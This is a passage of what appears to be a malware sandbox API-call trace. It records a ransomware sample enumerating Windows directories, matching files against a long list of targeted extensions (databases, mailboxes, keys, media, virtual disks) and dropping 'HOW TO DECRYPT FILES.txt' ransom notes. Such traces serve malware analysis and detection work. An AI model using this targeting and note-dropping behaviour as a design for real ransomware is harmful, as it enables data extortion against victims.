(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.bz2") returned 0 [0104.640] lstrlenA (lpString="*.bz2") returned 5 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.gz") returned 0 [0104.641] lstrlenA (lpString="*.gz") returned 4 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mkv") returned 0 [0104.641] lstrlenA (lpString="*.mkv") returned 5 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.eml") returned 0 [0104.641] lstrlenA (lpString="*.eml") returned 5 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.msg") returned 0 [0104.641] lstrlenA (lpString="*.msg") returned 5 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.edb") returned 0 [0104.641] lstrlenA (lpString="*.edb") returned 5 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.accdb") returned 0 [0104.641] lstrlenA (lpString="*.accdb") returned 7 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.odb") returned 0 [0104.641] lstrlenA (lpString="*.odb") returned 5 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.java") returned 0 [0104.641] lstrlenA (lpString="*.java") returned 6 [0104.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.asm") returned 0 [0104.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.pfx") returned 0 [0104.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.pem") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.p12") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.gpg") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.vsd") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.odg") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.raw") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.nef") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.svg") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.psd") returned 0 [0104.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.vmx") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.vmdk") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.vdi") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.lay6") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mpeg") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.djvu") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.tiff") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.backup") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.pdf") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.cert") returned 0 [0104.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.docm") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.xlsm") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.dwg") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.nd") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.tlg") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.lgb") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mov") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.xdw") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.ods") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.wav") returned 0 [0104.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mp3") returned 0 [0104.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.aiff") returned 0 [0104.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.flac") returned 0 [0104.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.m4a") returned 0 [0104.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.csv") returned 0 [0104.646] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e92e594, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e92e594, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e92e594, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3e800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMDiagnostics.ni.dll", cAlternateFileName="SMDIAG~1.DLL")) returned 0 [0104.646] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.646] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8218dc4808b77f3585fb048c61597af1", cAlternateFileName="8218DC~1")) returned 0 [0104.646] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.646] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1ee60a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0053, dwReserved1=0x690044, cFileName="SMSvcHost", cAlternateFileName="SMSVCH~1")) returned 1 [0104.646] lstrcmpA (lpString1=".", lpString2="SMSvcHost") returned -1 [0104.646] lstrcmpA (lpString1="..", lpString2="SMSvcHost") returned -1 [0104.647] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.647] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="SMSvcHost" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost" [0104.647] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1ee60a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.647] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1ee60a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.647] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.647] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c21476b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1bc1ee3c3aa45d28dcf4657bceb2fcb4", cAlternateFileName="1BC1EE~1")) returned 1 [0104.648] lstrcmpA (lpString1=".", lpString2="1bc1ee3c3aa45d28dcf4657bceb2fcb4") returned -1 [0104.648] lstrcmpA (lpString1="..", lpString2="1bc1ee3c3aa45d28dcf4657bceb2fcb4") returned -1 [0104.648] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\*.*") returned="*.*" [0104.648] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\", lpString2="1bc1ee3c3aa45d28dcf4657bceb2fcb4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4" [0104.648] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c21476b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.648] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.648] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c21476b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.648] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.648] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.648] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c17c1ea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c17c1ea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c1a234a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMSvcHost.ni.exe", cAlternateFileName="SMSVCH~1.EXE")) returned 1 [0104.648] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.648] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMSvcHost.ni.exe") returned -1 [0104.648] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMSvcHost.ni.exe") returned -1 [0104.648] lstrcmpiA (lpString1="", lpString2="SMSvcHost.ni.exe") returned -1 [0104.649] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\*.*") returned="*.*" [0104.649] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\" [0104.649] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\") returned="" [0104.649] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\HOW TO DECRYPT FILES.txt" [0104.649] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\smsvchost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\how to decrypt files.txt")) returned 0xffffffff [0104.649] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\smsvchost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.650] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.652] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.652] CloseHandle (hObject=0x90) returned 1 [0104.652] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\", lpString2="SMSvcHost.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe" [0104.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.ems") returned 0 [0104.652] lstrlenA (lpString="*.ems") returned 5 [0104.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.db") returned 0 [0104.652] lstrlenA (lpString="*.db") returned 4 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.dbf") returned 0 [0104.653] lstrlenA (lpString="*.dbf") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.myox") returned 0 [0104.653] lstrlenA (lpString="*.myox") returned 6 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.myo") returned 0 [0104.653] lstrlenA (lpString="*.myo") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qbw") returned 0 [0104.653] lstrlenA (lpString="*.qbw") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qbb") returned 0 [0104.653] lstrlenA (lpString="*.qbb") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qbm") returned 0 [0104.653] lstrlenA (lpString="*.qbm") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qbo") returned 0 [0104.653] lstrlenA (lpString="*.qbo") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qbx") returned 0 [0104.653] lstrlenA (lpString="*.qbx") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qba") returned 0 [0104.653] lstrlenA (lpString="*.qba") returned 5 [0104.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qby") returned 0 [0104.653] lstrlenA (lpString="*.qby") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qbj") returned 0 [0104.654] lstrlenA (lpString="*.qbj") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.ofx") returned 0 [0104.654] lstrlenA (lpString="*.ofx") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.qif") returned 0 [0104.654] lstrlenA (lpString="*.qif") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mye") returned 0 [0104.654] lstrlenA (lpString="*.mye") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mbox") returned 0 [0104.654] lstrlenA (lpString="*.mbox") returned 6 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.eml") returned 0 [0104.654] lstrlenA (lpString="*.eml") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.pst") returned 0 [0104.654] lstrlenA (lpString="*.pst") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.ost") returned 0 [0104.654] lstrlenA (lpString="*.ost") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.idx") returned 0 [0104.654] lstrlenA (lpString="*.idx") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.dbx") returned 0 [0104.654] lstrlenA (lpString="*.dbx") returned 5 [0104.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.sql") returned 0 [0104.654] lstrlenA (lpString="*.sql") returned 5 [0104.654] PathMatchSpecA 